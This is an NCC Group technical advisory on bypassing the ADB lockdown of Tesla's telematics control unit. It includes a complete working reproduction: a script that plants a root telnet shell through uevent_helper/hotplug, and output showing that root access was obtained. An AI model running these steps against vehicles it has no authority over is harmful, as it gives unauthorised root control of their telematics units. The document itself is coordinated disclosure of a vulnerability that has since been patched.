Skip to navigation Skip to main content Skip to footer

Technical Advisory: Tesla Telematics Control Unit - ADB Auth Bypass

By Alex Plaskett, McCaulay Hudson

29 September 2025

Vendor: Tesla

Vendor URL: https://www.tesla.com/

Versions affected: Versions prior to 2025.14 (issue was tested on 2025.2.6)

Systems Affected: TCU (Telematics Control Unit)

Author: Alex Plaskett, McCaulay Hudson

Risk: Medium – Requires physical access to TCU but results in TCU root access 

Summary

Tesla's telematics control unit (TCU) was vulnerable to a bypass of the ADB lockdown logic implemented by Tesla, which is designed to prevent attackers from gaining shell access to production devices. We were able to exploit an arbitrary file write vulnerability to gain code execution in the context of root on the TCU.

This was tested on Tesla firmware version v12 (2025.2.6) with the following TCU version AG525RGLAAR01A16M4G_OCPU_03-016.21 from /etc/os-release :

ID = "tcu"
NAME = "tcu"
VERSION = "202501241607"
VERSION_ID = "202501241607"
PRETTY_NAME = "tcu 202501241607"

Impact

A physically present attacker could compromise the TCU on a Tesla vehicle and gain root access on it

Details

On the TCU there is a Micro USB port exposed externally on the casing:

An ADB connection can be made to the TCU by connecting a Micro USB to that port and the attacker's machine. The following udev rule needs to be created locally in /etc/udev/rules.d/51-android.rules :

SUBSYSTEM = ="usb", ATTR {idVendor}== "2c7c", ATTR{idProduct}=="0452", MODE="0666", GROUP="plugdev"

We can see the TCU shows up in adb devices :

alex@test:~/exploits$ adb devices
List of devices attached
4ee97cb4 device

And the device listed in `lsusb`:

Bus 003 Device 006: ID 2c7c:0452 Quectel Wireless Solutions Co., Ltd. LTE-A Module
    

Tesla has attempted to lock down ADB access via the Micro USB port to prevent shell level access with adb shell :

alex@test:~/exploits$ adb shell
error: closed

This can also be seen in the following code in the file /etc/launch_adbd retrieved from the TCU:

export TERM = linux
sim_file = "/data/dummy_auth_enable"
status_file = "/sys/class/qtee/secboot_state"
if [ ! -f " $status_file " ] || [ -f " $sim_file " ]; then
echo "launch_adb: status doesnt exist or sim file exists, locking down" > /dev/kmsg
elif grep -q -s "auth_disable" " $status_file " ; then
echo "launch_adb: auth_disabled" > /dev/kmsg
lock_param = "--tesla_prod_unlock"
else
echo "launch_adb: auth_enabled, locking down" > /dev/kmsg
fi
if [ -f /etc/default/adbd ]; then
. /etc/default/adbd
fi
echo -n "Launch adb is starting adbd (lockparam is $lock_param )... " > /dev/kmsg
start-stop-daemon -S -b -a /sbin/adbd -- " $lock_param "

However, the lockdown logic does not prevent two critical features of ADB, these are:

  • The ability to read and write files as **root** with `adb pull` and `adb push`.
  • The ability to forward traffic through an ADB connection with `adb forward`.

By making use of this functionality, we can exploit these features in order to obtain a root shell on the TCU.

It should be noted that the adbd process on the TCU runs as root:

625 root 0:00 /sbin/adbd

Using adb pull to retrieve the file /sys/class/qtee/secboot_state confirms the presence of auth_enable .

Exploit Details

As the adbd process on the TCU runs as root, we have the ability to read and write files as root. However, due to partitions mounted as read-only, we are limited on what directories we can write files too:

bash-3.2# mount 
 /dev/dm-0 on / type squashfs (ro,relatime,seclabel) 
 devtmpfs on /dev type devtmpfs (rw,relatime,seclabel,size=142596k,nr_inodes=35649,mode=755) 
 sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel) 
 proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) 
 tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,seclabel) 
 selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime) 
 devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000) 
 tmpfs on /run type tmpfs (rw,nosuid,nodev,seclabel,mode=755) 
 tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,seclabel,mode=755) 
 cgroup2 on /sys/fs/cgroup/unified type cgroup2 (rw,nosuid,nodev,noexec,relatime) 
 cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd) 
 cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) 
 cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) 
 cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) 
 cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) 
 cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) 
 cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) 
 cgroup on /sys/fs/cgroup/debug type cgroup (rw,nosuid,nodev,noexec,relatime,debug) 
 tmpfs on /etc/machine-id type tmpfs (ro,seclabel,mode=755) 
 fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime) 
 mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel) 
 /dev/ubiblock1_0 on /firmware type squashfs (ro,relatime,seclabel) 
 /dev/ubi2_0 on /usrdata type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /quecrw type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/bluetooth type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /data type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /systemrw type ubifs (rw,relatime,seclabel) 
 configfs on /sys/kernel/config type configfs (rw,relatime) 
 debugfs on /sys/kernel/debug type debugfs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/ipa_config.txt type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/mobileap_cfg.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/netmgr_config.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/iris/iris_platform_config.json type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /persist type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/mobileap_firewall.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/ipa/IPACM_cfg.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/wlan_cfg.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/l2tp_cfg.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/factory_mobileap_cfg.xml type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/adb_devid type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/hosts type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/usb/boot_hsusb_comp type ubifs (rw,relatime,seclabel) 
 /dev/ubi3_0 on /etc/data/usb/softap_w_dun type ubifs (rw,relatime,seclabel) 
 adb on /dev/usb-ffs/adb type functionfs (rw,relatime) 
 tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel) 
 tmpfs on /var/volatile type tmpfs (rw,relatime,rootcontext=system_u:object_r:var_t:s0,seclabel)
 /dev/ubi3_0 on /etc/tel.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/usb/boot_hsic_comp type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/adpl/adpl_config type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/dhcp_hosts type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan1.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/ipa/factory_IPACM_cfg.xml type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/iproute2/rt_tables type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/adpl/mhi_enable type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan2.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/dnsmasq.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/misc/wifi/hostapd.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/dsi_config.xml type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/misc/wifi/sta_mode_hostapd.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/factory_l2tp_cfg.xml type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/misc/wifi/wpa_supplicant.conf type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/factory_mobileap_firewall.xml type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/factory_wlan_cfg.xml type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/mbim_mode type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/mobileap_cfg.xsd type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/mux_mode type ubifs (rw,relatime,seclabel)
 /dev/ubi3_0 on /etc/data/tinyproxy.conf type ubifs (rw,relatime,seclabel)
 lxcfs on /data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
 lxcfs on /quecrw/usrfs/data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)

Therefore, in order to turn the arbitrary file, write into code execution as root, we abused the uevent_helper / hotplug sysfs kernel subsystems.

For this, we first need to store a file on disk with executable permissions that we want to be executed, such as the telnetd.sh script.

Next, we write the filepath of the script we want to execute to /sys/kernel/uevent_helper or /proc/sys/kernel/hotplug as root. After an event occurs, the target script will be executed as root.

Note that adb preserves permissions across adb push allowing us to keep our script planted in /tmp/telnetd.sh marked as executable. Additionally, /tmp is not mounted with noexec feature.

Reproduction Steps

Put the following code into a local file named telnetd.sh which is the payload that will execute a telnetd server on the TCU:

#!/bin/sh
touch /tmp/executed
telnetd -l /bin/bash -p 2727
Put the following code into a local file named  exploit.sh :
# Upload telnet script to TCU
chmod +x telnetd.sh
adb push telnetd.sh /tmp/telnetd.sh
# Write "/tmp/telnetd.sh" to uevent_helper and hotplug
echo '/tmp/telnetd.sh' > t2.sh
adb push t2.sh /sys/kernel/uevent_helper
adb push t2.sh /proc/sys/kernel/hotplug
# Trigger a uevent just by doing a file system read
adb pull /etc/passwd
# Setup the TCP port forward for port 2727
adb forward tcp:2727 tcp:2727
# Wait for telnetd to run
sleep 3
# Connect to the telnet shell
telnet 127.0.0.1 2727

After running exploit.sh you should end up with a root shell on the TCU:

telnetd.sh: 1 file pushed, 0 skipped. 0.5 MB/s (60 bytes in 0.000s )
t2.sh: 1 file pushed, 0 skipped. 0.2 MB/s (16 bytes in 0.000s )
t2.sh: 1 file pushed, 0 skipped. 0.2 MB/s (16 bytes in 0.000s )
/etc/passwd: 1 file pulled, 0 skipped. 0.0 MB/s (2007 bytes in 0.043s )
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
tcu 1613 tesla
bash-3.2# id
uid = 0 ( root ) gid = 0 ( root ) context = u:r:kernel:s0

Patch Details

adb no longer listens on the Micro USB port and the TCU is no longer detected via USB.

The code in /etc/launch_adbd checks if it is a fused build and not a fa build, then locks down ADB:

if ! /usr/bin/is-not-fused ; then
if ! /usr/bin/is-fa-build ; then
echo -n "adb locked." > /dev/kmsg
exit 0
fi
fi
export TERM = linux
if [ -f /etc/default/adbd ]; then
. /etc/default/adbd
fi
echo -n "Launch adb is starting adbd... " > /dev/kmsg
start-stop-daemon -S -b -a /sbin/adbd
# Check first if the /etc/adb_devid already has an id saved from earlier boot up.
# If yes, retrive and use it for subsequent boot ups to show in 'adb devices'
if [ -s "/etc/adb_devid" ]
then
cat /etc/adb_devid > /sys/class/android_usb/android0/iSerial
else
ret_val = ` cat /proc/cmdline | grep "androidboot.serialno" | wc -l `
if [ $ret_val -eq 1 ]
then
serial_no = ` cat /proc/cmdline | awk '{ for ( n=1; n<=NF; n++ ) if($n ~ "androidboot.serial") print $n }' | awk '{split($0,a, "=");print a[2]}'`
else
serial_no = ` cat /proc/sys/kernel/random/boot_id | cut -d- -f5 `
fi
echo $serial_no > /sys/class/android_usb/android0/iSerial
echo $serial_no > /etc/adb_devid
fi
sync
# If UDC is not set up set it up.
if [ -z /sys/kernel/config/usb_gadget/g1/UDC ]; then
udcname = ` ls -1 /sys/class/udc | head -n 1 `
echo $udcname > /sys/kernel/config/usb_gadget/g1/UDC
fi
echo -n "Started adbd. " > /dev/kmsg
exit 0
usr/bin/is-fa-build:
#!/bin/sh
exit 1

Vendor Communication

3rd March 2025 – Issue reported to Tesla

4th March 2025 – Tesla Acknowledge Vulnerability Report

24th April 2025 – Tesla Notifies NCC that 2025.14 contains a patch and is being rolled out

29th September 2025 – NCC Releases advisory

 

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

September 2025

Alex Plaskett